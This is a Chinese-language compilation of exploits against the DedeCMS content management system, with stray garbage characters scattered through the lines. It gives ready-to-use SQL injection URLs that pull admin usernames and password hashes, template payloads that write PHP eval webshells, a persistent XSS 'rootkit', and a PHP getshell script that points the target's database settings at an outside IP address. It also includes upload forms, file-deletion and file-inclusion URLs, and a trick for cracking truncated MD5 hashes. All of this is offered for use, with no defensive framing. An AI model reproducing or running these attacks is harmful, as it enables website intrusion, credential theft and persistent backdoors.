dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
/ n7 Z' P  i6 u+ O: ^. Ihttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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2 |8 S. c( J/ K; ?DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
+ `* y' N3 t; K$ p发表后查看或修改即可执行
0 j& ^  Y' b4 B- z5 xa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

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8 S: o4 k  z: eDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
; B- n% Z" E# W( L/ I# phttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

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  ^2 M* L- r% n6 o1 a" [DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
7 L! Y' {. v# ?http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
$ j# T" T. d8 ohttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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http://v57.demo.dedecms.com/dede/login.php
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9 O% Y" }  H# O5 ?  t* S4 m% [& fcolor=Red]DeDeCMS(织梦)变量覆盖getshell
, n7 T+ g! A7 l* q#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
. t6 o( r# L/ ]% {. P, x0 cset_time_limit(0);
* P* X% }! P3 l- R8 wprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
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. C9 Y- K7 X" Z  p1 g1 {! b9 }echo "\r\n";
+ E# Y/ N8 i. H+ q3 F5 J. lif($argv[2]==null){
# |  x) c$ z% F. s0 Oprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
7 z5 x/ h2 t  {' v4 XExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
6 Z. A3 l, x9 n6 fexit;
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! |+ c" x! t6 F  }9 d& n6 a' l$url=$argv[1];
1 l6 }" B% Y% N; z2 D$aid=$argv[2];
- J: Z. z' I. }% o3 ^" m1 n! d3 B" X$path=$argv[3];
3 m7 W( {$ a" g7 I9 i$exp=Getshell($url,$aid,$path);
$ `& D* `6 {: k2 Pif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
, a7 K" K& P1 V3 }) m3 nif($aid==1)echo "
9 ^. K$ j  U) lShell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;

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/ H7 k* L5 d9 ~( m) E- s+ `( _if($aid==3)echo "
' ^. O  K# h" DShell:".$url."/$path/plus/fuck.php\n";
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}else{
echo "
Exploit Failed \n";
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function Getshell($url,$aid,$path){
* f* k: @3 T- m* |+ d, w& k$id=$aid;
$host=$url;
! n# l. I$ z) J8 m$port="80";
8 t* d. x( K  S& O+ r$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
  X! U# t! Q. W7 G3 j7 p. b; n$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
% p% j1 P( v3 r  G9 J* D7 c$data .= "Host: ".$host."\r\n";
1 a2 X- @: o0 ~& M$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* _9 H3 s( S) M* c1 o$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
8 X, H8 n0 C- b2 `% E  |' C$data .= "Connection: keep-alive\r\n";
# j$ ?- e- n$ {$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
/ z4 f$ u" ]1 T3 y) N$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
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fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
& m9 o+ f+ d/ l- T9 x+ v# wreturn $exp;
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?>

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$ Z' r3 }* c6 G  IDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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把上面validate=dcug改为当前的验证码，即可直接进入网站后台


, L1 X- B/ M; D9 @+ g# q此漏洞的前提是必须得到后台路径才能实现

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* B* [* i- H, O) A; P- {Dedecms织梦 标签远程文件写入漏洞
2 X9 g' K6 }! g+ t1 m前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


7 E* m9 l: e. X3 _* {3 f" K: \) i再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
; i( X$ g: Z" W<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
" S: Y9 M) X/ Z5 \, r5 q<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
4 N* e7 o$ k" {' x<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
, c0 R# _2 e. Z- P( G" b7 @<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
# |! `# F4 {! c; Z( p' ^+ |<script>
* `* d( r" |! Z7 j$ I1 N. O+ P8 Vfunction addaction()
' H, g) J( R! C! \; t  p5 Q{
document.QuickSearch.action=document.QuickSearch.doaction.value;
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- o% v' e  o* ?9 J  w</script>
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3 y9 W" y( h. \2 WDedeCms v5.6 嵌入恶意代码执行漏洞
8 W9 @0 m2 N5 c( S: v注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
- e/ U9 N1 o2 O4 r& H' \: w5 V1 E, d生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
( p/ c; k, x/ }) ]; ?注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

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' O: C2 H% N, D3 v: U+ O模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
- s8 V4 v. i: ?. Z/ u$fp = @fopen("1.php", 'a');
& M7 e% t, s8 Y" P9 q" A@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
5 B) H  f0 N* v; g# A<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
) T3 @5 Q. x/ o2 F) n# Z<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
! t+ {5 r$ d1 @: e7 T<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
+ B% D- w9 `$ z8 L# T+ _* A' |<input type="hidden" name="sortrank" value="1275972263" />


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<h3 class="meTitle"><strong>修改文章</strong></h3>

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3 Q: ^; @6 h0 E& K! R% R' O, y7 B<div class="postForm">
8 R0 r/ o( N8 p. v3 u& l8 e<label>标题：</label>
0 v/ e* y; o8 _7 T9 B1 j; |# I4 ~. n- x( x<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

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. A7 B2 Y( P; b  J9 ^% c+ q* g7 p<label>标签TAG：</label>
( h- X) W$ u4 W<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

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! v+ V3 |) G" u5 ]  u8 u' e, q<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
5 T, B8 V( Y/ `, g- U</select>

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# P3 \& T: o) S6 t<label>信息摘要：</label>
' c3 i  b; l9 T3 }3 u9 g0 r<textarea name="description" id="description">1111111</textarea>
2 p! |' }5 O) r9 ](内容的简要说明)
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<label>缩略图：</label>
; s5 }( ?4 w$ E5 l<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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<input type='text' name='templet'
9 x, f! v6 {8 b* ivalue="../ uploads/userup/2/12OMX04-15A.jpg">
9 N& Q: g" F# Z( s. a<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
% n6 l3 U3 f( ?8 Y1 A" D) l</div>

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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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8 K& l% Y+ s; H9 F& s<label>验证码：</label>
5 h. M. t: Q9 \; C<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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5 C" v2 A$ R+ x. q
! V. t: g4 X$ ?; b) y<button class="button2" type="submit">提交</button>
7 Z% Y$ G' _+ X, i2 `( _; z<button class="button2 ml10" type="reset">重置</button>
</div>

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</div>
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, Y3 c: M. U/ D  t4 ^</form>
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5 c+ f$ @2 s8 b, |( a提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
/ }4 |: M/ ~' U( j$ A( @<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
. N  G9 f% d( J+ G2 [8 p<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
$ f' b, W# K: L+ u5 c<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
" p& Y% Q. \1 q2 H# v6 v4 @% u4 W<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
- p0 J+ ^! x3 N3 ^" [6 O</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
8 Q) K: W6 O. V8 S发表文章，然后构造修改表单如下：


# H" s  ~( W5 ?1 Q: q# }<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
+ t) C- k3 b6 T, q( E<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
# v7 Q' u6 z/ Y  ^% F1 c<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
! `5 p) M& S; Q% U" F. G8 S<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
3 Q, X- G3 e3 ?( x$ e<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
1 B* a: B9 E- w: K' b2 v* }<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
' q5 y. N; C% [1 G% d- Q<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
/ I( a; s6 `1 ^; ]& B- ]( T<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
; y. e2 r4 F6 i<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
+ ~) W  L; c7 R: H$ Z$ M<button class="button2" type="submit">提交</button>
$ j& V& U" z' u2 _</form>



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. E* r& B& L* G. u织梦(Dedecms)V5.6 远程文件删除漏洞
1 u- b' r- ~- F& |. T7 f7 O2 Xhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
! S/ ^4 e7 p) U4 n6 Rhttp://www.test.com/plus/carbuya ... urn&code=../../
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7 a5 E  k7 Z# e% @. N; Q) C* wDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
/ C" X/ G7 O3 Q- G  a3 D' a* tplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

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5 v$ P: b. u# z  a9 f0 q织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
" p! a& B7 R4 g! x: \3 xhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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: ^# F0 o8 E. l1 u; X织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
; x% d% N/ d/ O0 P  f9 f<html>
<head>
- O8 |8 ^  v6 f1 Q+ k<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
. o3 `9 Q2 j# u6 Z4 [</head>
<body style="FONT-SIZE: 9pt">
, m/ v! W& i$ O4 V% |---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
  K7 J, ~: {( i4 z: R<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
8 f$ V: J: D; T<input type='hidden' name='cfg_basedir' value='../../' />
0 J) |" w9 S1 k& B, ~<input type='hidden' name='cfg_imgtype' value='php' />
% f' I$ |2 a) i/ A* q# C  ~1 W<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
! S# r$ I* L+ Q/ ?- s<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
3 e3 |# E% z& R4 c3 t<input type='submit' name='sb1' value='确定' />
/ A9 x0 ^, {# `6 c4 y0 |6 L/ {</form>
. H0 ^$ Q  f+ M+ M4 ?4 j<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
: o* ^, E& M% A' A  W+ G3 GFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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# [* n6 r: v* W( X. F4 ]3 ?1 T织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
" [' O8 M; K1 z8 R# |利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
  B! d* H  E: Q% S; W* w2 E1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
/ L1 U8 ?/ O( w  ~" Y$ I" D可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

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5 P; }7 `/ m7 B<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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按确定后的看到第2步骤的信息表示文件木马上传成功.
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, b# c4 @4 v3 p织梦(DedeCms)plus/infosearch.php 文件注入漏洞
/ t; C: B6 J# c+ t* d  jhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*